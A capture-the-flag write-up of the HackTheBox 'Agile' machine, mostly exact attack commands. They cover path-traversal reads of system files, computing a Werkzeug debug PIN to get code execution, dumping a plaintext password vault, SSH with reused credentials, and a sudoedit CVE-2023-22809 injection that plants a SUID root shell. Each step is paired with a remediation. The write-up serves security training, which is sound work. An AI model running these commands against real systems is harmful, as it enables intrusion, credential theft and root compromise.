Agile
Summary
I mapped the 'SuperPass' password-manager web app to the vhost superpass.htb and found that self-registration could trigger an unhandled server error, exposing Werkzeug's interactive debug console. Because the debugger's PIN protection derives from host facts, an authenticated arbitrary-file-read flaw in the app's own /download endpoint was abused to read exactly those facts (NIC MAC address, machine-id, cgroup path), letting me compute the debug PIN and unlock a full Python console running as the web server user.
From there, I queried the backend MySQL database directly and found the app's own password vault stored user credentials in plaintext, including working SSH passwords for two Linux accounts. One account's SSH access yielded the user flag; the second account's sudo rights, combined with a known vulnerability in its outdated sudo version, allowed me to hijack a script sourced by root to plant a SUID root shell — completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"Some commands also carry a value in angle brackets — <chosen-password>, <eth0_mac_int>, <frame_id>, <machine-id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirms only 22/tcp (ssh) and 80/tcp (nginx) are exposed.
$ nmap -sV -p- $TARGETShows the 301 redirect to the superpass.htb vhost.
$ curl -ksS -L --max-time 15 -D - http://$TARGET/Or use curl --resolve superpass.htb:80:$TARGET as shown below to avoid editing /etc/hosts.
$ echo "$TARGET superpass.htb" | sudo tee -a /etc/hostsExact commands 5
Register/login to obtain a session cookie (stored in cj).
$ curl --resolve superpass.htb:80:$TARGET -sS -i -c cj -b cj -X POST http://superpass.htb/account/register --data 'username=pentester&password=<chosen-password>'Prove arbitrary file read once authenticated.
$ curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../etc/passwd'Leak the eth0 MAC address (Werkzeug PIN 'private bit').
$ curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../sys/class/net/eth0/address'Leak the machine-id (second PIN 'private bit').
$ curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../etc/machine-id'Leak the cgroup path; the last path segment (system.slice/superpass.service) feeds the PIN algorithm.
$ curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../proc/self/cgroup'FixFix the arbitrary file-read in the /download endpointHigh
Exact commands 4
Repeat registration to trigger the SQLAlchemy 500 error and capture the debugger's SECRET token from the response HTML.
$ curl --resolve superpass.htb:80:$TARGET -sS -i -c cj -b cj -X POST http://superpass.htb/account/register --data 'username=pentester&password=<chosen-password>'Reproduces Werkzeug's SHA1 PIN algorithm (probably_public_bits + private_bits) offline; use a maintained script such as https://github.com/its-a-feature/werkzeug-console-pin-exploit or hand-roll from werkzeug/debug/__init__.py. Output: <withheld>.
$ python3 werkzeug_pin_exploit.py --username www-data --app-name wsgi --mac <eth0_mac_int> --machine-id <machine-id> --cgroup system.slice/superpass.serviceAuthenticate to the debug console; expect {"auth": true}.
$ curl --resolve superpass.htb:80:$TARGET -sS -c cj -b cj "http://superpass.htb/account/register?__debugger__=yes&cmd=pinauth&pin=$PASSWORD6&s=$TOKEN"Execute code via the console; confirms uid=33(www-data).
$ curl --resolve superpass.htb:80:$TARGET -sS -b cj -G http://superpass.htb/account/register --data-urlencode __debugger__=yes --data-urlencode 'cmd=__import__("subprocess").check_output(["id"])' --data-urlencode frm=<frame_id> --data-urlencode s=$TOKENFixDisable the Werkzeug interactive debugger in productionCritical
Exact commands 1
Runs inside the Werkzeug console session obtained in step 3; dumps the plaintext vault.
$ curl --resolve superpass.htb:80:$TARGET -sS -b cj -G http://superpass.htb/account/register --data-urlencode __debugger__=yes --data-urlencode "cmd=(c:=__import__('pymysql').connect(unix_socket='/var/run/mysqld/mysqld.sock',user='superpassuser',password='$PASSWORD',database='superpass').cursor(),c.execute('SELECT * FROM passwords'),c.fetchall())" --data-urlencode frm=<frame_id> --data-urlencode s=$TOKENFixEncrypt stored vault passwords and restrict database credential exposureHigh
Exact commands 2
Confirms shell access as corum.
$ sshpass -p "$PASSWORD4" ssh -o StrictHostKeyChecking=no corum@$TARGET id
uid=1000(corum)Reads the user flag; replace output with <user.txt> in any report.
$ sshpass -p "$PASSWORD4" ssh -o StrictHostKeyChecking=no corum@$TARGET 'cat /home/corum/user.txt'FixEliminate password reuse between the application vault and system accountsMedium
Exact commands 5
Confirms the sudoedit rule and the vulnerable sudo 1.9.9 version.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no edwards@$TARGET 'sudo -l; sudo --version | head -1'CVE-2023-22809: the '--' argument injection redirects the editor to the root-sourced activate script instead of the intended config file.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no edwards@$TARGET "EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json"This line runs the next time a root-owned process sources /app/venv/bin/activate (~1 minute cycle).
$ # In the opened vim session, append: cp /bin/bash /tmp/x; chmod u+s /tmp/xAfter the wait, the SUID-root bash confirms euid=0.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no edwards@$TARGET "/tmp/x -p -c 'id'"Reads the root flag; replace output with <root.txt> in any report.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no edwards@$TARGET "/tmp/x -p -c 'cat /root/root.txt'"FixPatch sudo and tighten the sudoedit delegation for edwardsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.